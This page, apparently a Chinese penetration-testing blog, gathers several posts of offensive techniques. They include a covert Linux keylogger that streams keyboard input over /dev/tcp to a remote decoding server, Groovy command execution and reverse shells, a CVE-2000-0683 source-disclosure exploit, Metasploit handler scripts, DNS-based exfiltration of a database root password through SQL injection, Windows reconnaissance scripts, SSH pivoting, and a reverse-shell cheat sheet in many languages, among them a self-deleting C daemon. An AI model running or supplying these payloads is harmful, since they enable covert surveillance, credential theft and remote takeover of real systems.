安全技术


1
cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1

中午水群的时候,看到群友提的需求,要实现在Linux下的键盘记录,要求是没有进程、不易察觉等等。在思考Linux下怎样实现无痕迹的键盘记录的时候,脑洞一开突然想到在Linux中,所有的设备都是以文件的形式挂在/dev目录下的,键盘也不例外。与用户输入有关的设备/dev/input/eventX通常是一种字符设备,是以流的形式实时地连续读取的。再联想到反弹shell的时候,有一种姿势是通过将bash重定向到/dev/tcp中的设备,来实现反弹shell的。那么同理,是不是可以将/dev/input/下的输入设备字节流实时发送到远程进行监听呢?

想到就去做,于是先在本地监听一个端口,再通过重定向输入将/dev/input/event0设备的字节流发送到本地的监听端口,可以看见,能够成功将输入重定向到目标端口,说明此路可通。

只是这个时候,在我们的监听窗口中接收到的来自键盘设备的输入都是乱码,因为event0设备的输出是内核定义的特定结构体,并不是直接的可见字符,于是,我们还需要实现一个解析命令的服务端控制台来实现对输入的解析。

关于输入设备传入的结构体,想要了解Linux操作系统如何解码它,我们需要知道Linux输入事件input_event结构体是如何定义的。这里通过查阅资料了解到,键盘事件结构体的定义在python中的解包格式是’llHHI’,分别表示时间戳、设备类型、事件类型、事件值等。(结构体详情可以参考/usr/include/linux/input.h)。

因此目标就明确了,写个脚本在服务端远程解码即可。实现的效果:

在服务端运行脚本,目标靶机中输入命令:

cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1

服务端看到的情况:

思考

这种方法实现的键盘记录,优点是不需要在目标服务器中上传二进制木马,只需要一条命令就可以执行。但是缺点是低权限用户一般无法读取/dev/目录下字符设备的输入,导致攻击利用有一定的局限性。同时执行ps命令会看到cat进程读取输入设备的进程,也可以在netstat中看到有网络连接等,容易被管理员发现,所以一般只能用于渗透测试过程中临时测试使用,或是一些比较特殊的场景下使用。

附赠服务端脚本:

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Chorder @ 20190724

import sys
import time
import socket
import struct

if len(sys.argv) < 3:
print("Usage:\n\tpython %s IP PORT" % __file__ )
exit(0)
else:
host = sys.argv[1]
port = int(sys.argv[2])
print("[*] 在目标主机运行以下命令:\n前台运行:\tcat /dev/input/event0 > /dev/tcp/%s/%d >&1" % (host,port) )
print("后台运行:\tnohup cat /dev/input/event0 > /dev/tcp/%s/%d >&1 &" % (host,port) )
print("[*] 开始监听...")

s = socket.socket()
s.bind((host, port))
s.listen(5)

FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)

KEYBOARD_MAP={
0 :"ESC",
1 :"ESC",
2 :"1",
3 :"2",
4 :"3",
5 :"4",
6 :"5",
7 :"6",
8 :"7",
9 :"8",
10 :"9",
11 :"0",
12 :"-",
13 :"=",
14 :"BACK",
15 :"TAB",
16 :"Q",
17 :"W",
18 :"E",
19 :"R",
20 :"T",
21 :"Y",
22 :"U",
23 :"I",
24 :"O",
25 :"P",
26 :"LBRACKET",
27 :"RBRACKET",
28 :"RETURN",
29 :"LCONTROL",
30 :"A",
31 :"S",
32 :"D",
33 :"F",
34 :"G",
35 :"H",
36 :"J",
37 :"K",
38 :"L",
39 :"SEMICOLON",
40 :"APOSTROPHE",
41 :"`",
42 :"LSHIFT",
43 :"\\",
44 :"Z",
45 :"X",
46 :"C",
47 :"V",
48 :"B",
49 :"N",
50 :"M",
51 :",",
52 :".",
53 :"/",
54 :"RSHIFT",
55 :"MULTIPLY",
56 :"Alt",
57 :"SPACE",
58 :"CAPITAL",
59 :"F1",
60 :"F2",
61 :"F3",
62 :"F4",
63 :"F5",
64 :"F6",
65 :"F7",
66 :"F8",
67 :"F9",
68 :"F10",
69 :"NUMLOCK",
70 :"SCROLL",
71 :"NUMPAD7",
72 :"NUMPAD8",
73 :"NUMPAD9",
74 :"SUBTRACT",
75 :"NUMPAD4",
76 :"NUMPAD5",
77 :"NUMPAD6",
78 :"ADD",
79 :"NUMPAD1",
80 :"NUMPAD2",
81 :"NUMPAD3",
82 :"NUMPAD0",
83 :"DECIMAL",
87 :"F11",
88 :"F12",
100 :"F13",
101 :"F14",
102 :"F15",
112 :"KANA",
121 :"CONVERT",
123 :"NOCONVERT",
125 :"¥",
141 :"NUMPADEQUALS",
144 :"^",
145 :"@",
146 :":",
147 :"_",
148 :"KANJI",
149 :"STOP",
150 :"AX",
151 :"UNLABLED",
156 :"NUMPADENTER",
157 :"RCONTROL",
179 :"NUMPADCOMMA",
181 :"DIVIDE",
183 :"SYSRQ",
184 :"ALT",
197 :"PAUSE",
199 :"HOME",
200 :"UP",
201 :"PRIOR",
203 :"LEFT",
205 :"RIGHT",
207 :"END",
208 :"DOWN",
209 :"NEXT",
210 :"INSERT",
211 :"DELETE",
219 :"LMETA",
220 :"RMETA",
221 :"APPS",
222 :"POWER",
223 :"SLEEP"
}

class KeyboardEvent():
def __init__(self,event_data):
(evt_sec, evt_usec, evt_type, evt_code, evt_value) = struct.unpack(FORMAT, event_data)
evt_time = time.localtime( float("%d.%d" % (evt_sec, evt_usec ) ) )
if evt_type == 1 and evt_value == 1:
try:
print("%s: %s" % ( time.strftime("%Y-%m-%d %H:%M:%S",evt_time), KEYBOARD_MAP[evt_code]))
except KeyError as e:
print("%s: 未知字符 %s" % (time.strftime("%Y-%m-%d %H:%M:%S",evt_time), evt_code) )
else:
pass




while True:
client_handle,client = s.accept()
print "新客户端上线: %s:%s" % ( client[0],client[1] )
while True:
kbevt = KeyboardEvent( client_handle.recv(EVENT_SIZE) )

c.close()


Apache Felix是一个OSGi版本4规范的Apache实现。OSGi是一个基于Java的服务平台规范,其目标是被需要长时间运行、动态更新、对运行环境破坏最小化的系统所使用。
渗透测试过程中也许会遇到Apache Felix,这时可以尝试访问Felix的/system/console/sc路径,并且试试看有没有弱密码。如果能够成功进入Apache Felix Web Console,就可以通过执行Groovy代码,间接执行系统命令,甚至获得系统权限。

例如Groovy用于执行系统命令的代码:

1
2
3
4
5
6
7
def execute(cmd){
def proc = cmd.execute();
proc.waitFor();
println proc.text;
}

execute("ipconfig");

获取一些系统信息:

1
2
println System.getProperty("user.dir"); //print local path
println InetAddress.getLocalHost(); //print local ip

Groovy反弹Shell的代码,可以参考:

https://chorder.net/2019/05/29/Groovy%E5%8F%8D%E5%BC%B9Shell%E8%84%9A%E6%9C%AC-Groovy-Reverse-Shell-Script/



rkhunter是一个Linux下自动检测rookit的脚本,使用时需要依赖数据库。在执行rkhunter --update进行更新操作时,也许会报以下错误:

1
Invalid WEB_CMD configuration option: Relative pathname: "/bin/false"

修复这个错误的方法很简单,编辑/etc/rkhunter.conf文件,找到其中的以下选项:

  • UPDATE_MIRRORS=0
  • MIRRORS_MODE=1
  • WEB_CMD=”/bin/false”

分别将UPDATE_MIRRORS=0改为UPDATE_MIRRORS=1,将MIRRORS_MODE=1改为MIRRORS_MODE=0,以及将WEB_CMD="/bin/false"改为WEB_CMD=""即可。

再次运行rkhunter --update,错误消失。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@debian:~#rkhunter --update
[ Rootkit Hunter version 1.4.2 ]

Checking rkhunter data files...
Checking file mirrors.dat [ No update ]
Checking file programs_bad.dat [ Updated ]
Checking file backdoorports.dat [ No update ]
Checking file suspscan.dat [ No update ]
Checking file i18n/cn [ Skipped ]
Checking file i18n/de [ Skipped ]
Checking file i18n/en [ No update ]
Checking file i18n/tr [ Skipped ]
Checking file i18n/tr.utf8 [ Skipped ]
Checking file i18n/zh [ Skipped ]
Checking file i18n/zh.utf8 [ Skipped ]


分享一条使用纯Groovy反弹shell的脚本,摘抄自Github。

出处:

https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

String host="1.1.1.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();
po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();
s.close();

可以用在Jenkins的命令执行中,用于反弹Shell。



今天为某金融公司做测试,在系统中发现了一枚很老的漏洞 CVE-2000-0683 ,Nessus里面给出的漏洞评级是中危,但是经过测试,发现是一个危害很高的漏洞。

在以前的测试过程中还没有遇到过这个洞,也许是我孤陋寡闻了,但也许有很多人和我一样不知道的,所以在这里简单分享一下。

相关介绍

Tenable Nessus关于该漏洞的描述:

https://www.tenable.com/plugins/nessus/11604

这个漏洞利用起来很简单,只需要在URL中加入/*.shtml/就可以列目录或者读源码,例如:假设漏洞位于http://victim.com/,那么如果想要列目录,只需要请求:

http://victim.com/*.shtml/
http://victim.com/*.shtml/admin/
http://victim.com/*.shtml/config/

即可列出相应目录下的文件。

如果需要读取源代码,只需要请求

http://victim.com/*.shtml/index.jsp
http://victim.com/*.shtml/admin/login.jsp
http://victim.com/*.shtml/config/config.jsp

即可读取相应的源代码。

实战利用

以下是我的测试过程。

列目录:

读源码:

漏洞修复

内容来自相关供应商(BEA security advisory BEA00-03.00):

(1) Apply the “Show Code” vulnerability patch available from BEA Technical Support. This patch is available for:
Version:

  • The J-Engine in BEA WebLogic Enterprise 5.1.x
  • BEA WebLogic Server and Express 5.1.x
  • BEA WebLogic Server and Express 4.5.x

Action: Contact BEA Technical Support at support () bea com for patch.

(2) Once the patch has been applied, review the weblogic.propertiesfile and ensure that the following changes have been made:

weblogic.httpd.register.file=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.file=defaultFilename=index.html
weblogic.httpd.defaultServlet=file

should be changed to:

weblogic.httpd.register.*.html=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.*.html=defaultFilename=index.html
weblogic.httpd.defaultServlet=*.html

Future Service Packs for BEA WebLogic Server and Express will also contain the patch to address this vulnerability.

本漏洞分享仅供学习交流,请勿用于从事非法活动。



Metasploit Resource脚本是MSF框架提供的非常方便的用于组织自动化任务的工具。简单来说,resource脚本目前可以支持两种类型的指令组合,分别是MSF命令和嵌入式Ruby代码。
以下分别就两种使用方法进行演示。

这里以 multi/handler 这个用于反弹shell监听器的模块来演示。

使用makerc命令制作metasploit命令行resource脚本

执行msfconsole启动MSF控制台以后,执行如下操作:

1
2
3
4
5
6
7
8
9
10
msf5 > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > makerc /root/test.rc
[*] Saving last 4 commands to /root/test.rc ...
msf5 exploit(multi/handler) >

将会在/root/目录下生成test.rc文件,其中记录着刚刚输入的所有命令。下次需要执行同样操作的时候,只需要运行msfconsole -r /root/test.rc即可载入和执行这次的命令记录。

使用run_single函数编写基于嵌入式Ruby的resource脚本

除了直接编写指令代码以外,Resource脚本还可以支持嵌入式Ruby脚本,只需要在.rc文件中使用<ruby></ruby>标签引入Ruby代码即可。

这里将上面用于启动handler模块的脚本稍微改良一下,变成一个易于使用的rc文件,代码如下:

handle.rc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

<ruby>

def init_args

trueargs = {}

trueif ARGV.join('') =~ /^help$/i

truetrueargs[:help] = true

truetruereturn args

trueend

trueargs[:payload] = ARGV.shift
trueargs[:host] = ARGV.shift
trueargs[:port] = ARGV.shift

truereturn args

end


# resource process entry

begin

trueargs = init_args

trueif args[:help]

truetrueprint_line("Usage:\nmsfconsole handler.rc PAYLOAD HOST PORT")

truetruereturn

trueend

#run_single("workspace handler")
run_single("use multi/handler")
run_single("set payload #{args[:payload]}")
run_single("set lhost #{args[:host]}")
run_single("set lport #{args[:port]}")

rescue ArgumentError => e

trueprint_error("Invalid argument: #{e.message}")

truereturn

rescue RuntimeError => e

trueprint_error(e.message)

truereturn

rescue ::Exception => e

trueraise e

end

</ruby>

将上面的代码保存为handle.rc,启动MSF控制台时,执行:

1
msfconsole -r handler.rc windows/meterpreter/reverse_tcp 0.0.0.0 4444

即可快速地配置好配备相应payload的handler监听器。

其中Ruby代码中的run_single就是用于执行MSF框架指令的方法。

MSF自带了很多方便实用的脚本,位于MSF框架目录/scripts/resource/目录下,可以参考这些脚本的写法,写出更加方便的脚本。

参考链接:

https://metasploit.help.rapid7.com/docs/resource-scripts



DNSLog,简单来说,就是通过记录对于域名的DNS请求,通过dns请求这个相对“隐蔽”的渠道,来委婉地获取到想要获得的信息。
例如,在一个针对mysql数据库的注入中,如果没有回显,可能很多时候就要歇菜。
但如果对方的数据库服务器连接公网并且是Windows机器的话,就可以用这种姿势来获取信息:

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user WHERE user='root' LIMIT 1),'.nogan.ga\\xxx'))

你将会看到类似:

当然你可能会说直接用http协议传输不就好了吗,确实http协议也可以,但是http协议毕竟有局限的地方,例如容易被防火墙限制等。
而dns作为一种基础协议有时候并不会被随便禁用,一些内网当中对于DNS协议的管控和检测是个薄弱的点,相对http来说DNS协议也更加隐蔽。

近几年DNSLog被尤其广泛地运用于无回显的SQL注入、命令执行、XML实体注入等漏洞的检测当中,算是一门很基础的老技术了。

关于DNSLog的具体应用,这里就不多说了,感兴趣的可以进一步阅读以下文章:

1
2
3
4
5
https://www.anquanke.com/post/id/98096

http://www.freebuf.com/column/158579.html

https://www.cnblogs.com/afanti/p/8047530.html

那么如何低成本搭建dnslog服务器?接下来就来简要分享一个低成本构建DNSLog服务的方法。

准备材料:

(1) 一台低成本的VPS:这里推荐使用某国外的便宜VPS,完整root权限,单核512MB/10GSSD,¥128/年,购买链接在文章最后
(2) 一个可以接收邮件的邮箱:用来注册免费域名

搭建过程

注册域名

首先到 https://freenom.com 注册用户,同时注册一个免费的域名
以我这里为例,注册一个nogan.ga

注册的时候,在DNS选项中,选择使用自己的DNS,新建DNS服务器的地址,例如我这里自定义了两个dns服务器,分别是
ns0.nogan.ga和ns1.nogan.ga,并且将他们的地址指向我的VPS服务器。

点击Continue,进入到结算页面。
如果你上一步没有注册用户,那么可以直接在这里填你用来注册用户的邮箱,然后根据指引进行操作。
如果注册了用户,只需要直接登录就可以了。

进入到Review and Checkout页面,填入一些你的基本信息就可以了

这里记得勾选Lock profile,你的信息就不会被whois查询到了。

接着下一步,勾选Complate Order,域名就注册成功了。

部署DNS服务

登录你的VPS服务器,运行下面这个python脚本,将在你的VPS主机监听UDP 53端口,并且回复DNS响应包:

记得修改IP地址和NS域名,在最后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2014-06-29 03:01:25
# @Author : Your Name (you@example.org)
# @Link : http://example.org
# @Version : $Id$

import SocketServer
import struct
import socket as socketlib
# DNS Query
class SinDNSQuery:
truedef __init__(self, data):
truetruei = 1
truetrueself.name = ''
truetruewhile True:
truetruetrued = ord(data[i])
truetruetrueif d == 0:
truetruetruetruebreak;
truetruetrueif d < 32:
truetruetruetrueself.name = self.name + '.'
truetruetrueelse:
truetruetruetrueself.name = self.name + chr(d)
truetruetruei = i + 1
truetrueself.querybytes = data[0:i + 1]
truetrue(self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
truetrueself.len = i + 5
truedef getbytes(self):
truetruereturn self.querybytes + struct.pack('>HH', self.type, self.classify)



# DNS Answer RRS
# this class is also can be use as Authority RRS or Additional RRS
class SinDNSAnswer:
truedef __init__(self, ip):
truetrueself.name = 49164
truetrueself.type = 1
truetrueself.classify = 1
truetrueself.timetolive = 190
truetrueself.datalength = 4
truetrueself.ip = ip

truedef getbytes(self):
truetrueres = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
truetrues = self.ip.split('.')
truetrueres = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
truetruereturn res

# DNS frame
# must initialized by a DNS query frame
class SinDNSFrame:
truedef __init__(self, data):
truetrue(self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
truetrueself.query = SinDNSQuery(data[12:])

truedef getname(self):
truetruereturn self.query.name

truedef setip(self, ip):
truetrueself.answer = SinDNSAnswer(ip)
truetrueself.answers = 1
truetrueself.flags = 33152

truedef getbytes(self):

truetrueres = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
truetrueres = res + self.query.getbytes()
truetrueif self.answers != 0:
truetruetrueres = res + self.answer.getbytes()
truetruereturn res

# A UDPHandler to handle DNS query
class SinDNSUDPHandler(SocketServer.BaseRequestHandler):
truedef handle(self):
truetruedata = self.request[0].strip()
truetruedns = SinDNSFrame(data)
truetruesocket = self.request[1]
truetruenamemap = SinDNSServer.namemap
truetrueif(dns.query.type==1):
truetruetrue# If this is query a A record, then response it
truetruetruename = dns.getname();
truetruetruetoip = None
truetruetrueifrom = "map"
truetruetrueif namemap.__contains__(name):
truetruetruetrue# If have record, response it
truetruetruetrue# dns.setip(namemap[name])
truetruetruetrue# socket.sendto(dns.getbytes(), self.client_address)
truetruetruetruetoip = namemap[name]
truetruetrueelif namemap.__contains__('*'):
truetruetruetrue# Response default address
truetruetruetrue# dns.setip(namemap['*'])
truetruetruetrue# socket.sendto(dns.getbytes(), self.client_address)
truetruetruetruetoip = namemap['*']
truetruetrueelse:
truetruetruetrue# ignore it
truetruetruetrue# socket.sendto(data, self.client_address)
truetruetruetrue# socket.getaddrinfo(name,0)
truetruetruetruetry:
truetruetruetruetruetoip = socketlib.getaddrinfo(name,0)[0][4][0]
truetruetruetruetrueifrom = "sev"
truetruetruetruetrue# namemap[name] = toip
truetruetruetruetrue# print socket.getaddrinfo(name,0)
truetruetruetrueexcept Exception, e:
truetruetruetruetrueprint 'get ip fail'
truetruetrueif toip:
truetruetruetruedns.setip(toip)

truetruetrueprint '%s: %s-->%s (%s)'%(self.client_address[0], name, toip, ifrom)
truetruetruesocket.sendto(dns.getbytes(), self.client_address)
truetrueelse:
truetruetrue# If this is not query a A record, ignore it
truetruetruesocket.sendto(data, self.client_address)

# DNS Server
# It only support A record query
# user it, U can create a simple DNS server
class SinDNSServer:
truedef __init__(self, port=53):
truetrueSinDNSServer.namemap = {}
truetrueself.port = port

truedef addname(self, name, ip):
truetrueSinDNSServer.namemap[name] = ip

truedef start(self):
truetrueHOST, PORT = "0.0.0.0", self.port
truetrueserver = SocketServer.UDPServer((HOST, PORT), SinDNSUDPHandler)
truetrueserver.serve_forever()

# Now, test it
if __name__ == "__main__":
truesev = SinDNSServer()
sev.addname('ns0.nogan.ga','x.x.x.x')
sev.addname('ns1.nogan.ga','x.x.x.x')
sev.addname('www.nogan.ga','y.y.y.y')
sev.addname('*', '127.0.0.1') # default address

truesev.start() # start DNS server

将上面的ns0.nogan.ga和ns1.nogan.ga改成你的域名,并且将x.x.x.x改成你的VPS服务器地址。
如果你在搭建DNSLog的同时还想顺便搭建一个网站的话,可以添加一个www记录,指向你的web服务器地址。
星号是将任意地址执行127.0.0.1,这样你的DNSLog请求记录,都会被默认解析到127.0.0.1。

接着在服务器上运行

1
python dns.py

在任意机器上面ping xxxxx.YOURDOMAIN:

可以在VPS上观察到请求已经过来了

但这个时候程序是一直在控制台运行的,想要退出怎么办呢,用nohup将程序改为背景运行:

想要关闭的话,先查看端口并获取进程号,然后kill即可:

Enjoy it~

附:

搬瓦工VPS优惠地址 (推荐 $19.99/年,约合RMB¥128):

https://bandwagonhost.com/cart.php
可能要扶梯 = =



Get System Info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
@echo off
ipconfig /all
net start
tasklist /v
net user
net localgroup administrator
netstat -ano
net use
net view
net view /domain
net group /domain
net group "domain users" /domain
net group "domain admins" /domain
net group "domain controllers" /domain
net group "exchange domain servers" /domain
net group "exchange servers" /domain
net group "domain computers" /domain
echo #########system info collection
systeminfo
ver
hostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator
echo #######at- with atq#####
echo schtask /query
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F

Get Task List

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
''''''''''''''''''''''''''''''''''''
' tasktool.vbs@b4dboy
''''''''''''''''''''''''''''''''''''

On Error Resume Next
Dim obj, pross, pid, killName
pid = WScript.Arguments(1)
killName = WScript.Arguments(0)

Set obj = GetObject("Winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set pross = obj.Execquery("Select * From Win32_Process")
Wscript.echo "[PID]" & VbTab & "[ProName]"

For Each proccess In pross
If (WScript.Arguments.Count = 2) And (CStr(pid) = CStr(proccess.ProcessID)) Then
proccess.Terminate 0
ElseIf Ucase(proccess.Name) = Ucase(killName) Then
proccess.Terminate 0
Else
WScript.echo proccess.ProcessID & VbTab & proccess.Name
End If
Next



在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:

1
ssh -L 8080:localhost:80 root@x.x.x.x

这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:

1
ssh -R 8080:localhost80 hacker@y.y.y.y

这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:

1
ssh -g -L 8080:10.0.0.3:80 root@x.x.x.x

此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:

1
ssh -D 8080 root@x.x.x.x

此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:

1
ssh -X root@x.x.x.x

这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。



bash

1
$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.20",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

1
php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc

1
$ nc -e /bin/sh 10.0.0.1 1234

1
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
1
$ nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

jsp

1
2
3
r = Runtime.getRuntime() 
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in sin;
char rms[21]="rm -f ";
daemon(1,0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]); // host
sin.sin_port = htons(atoi(argv[2])); // port
bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
perror("[-] connect()");
exit(0);
}
strcat(rms, argv[0]);
system(rms);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh -i", NULL);
close(fd);
}



Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×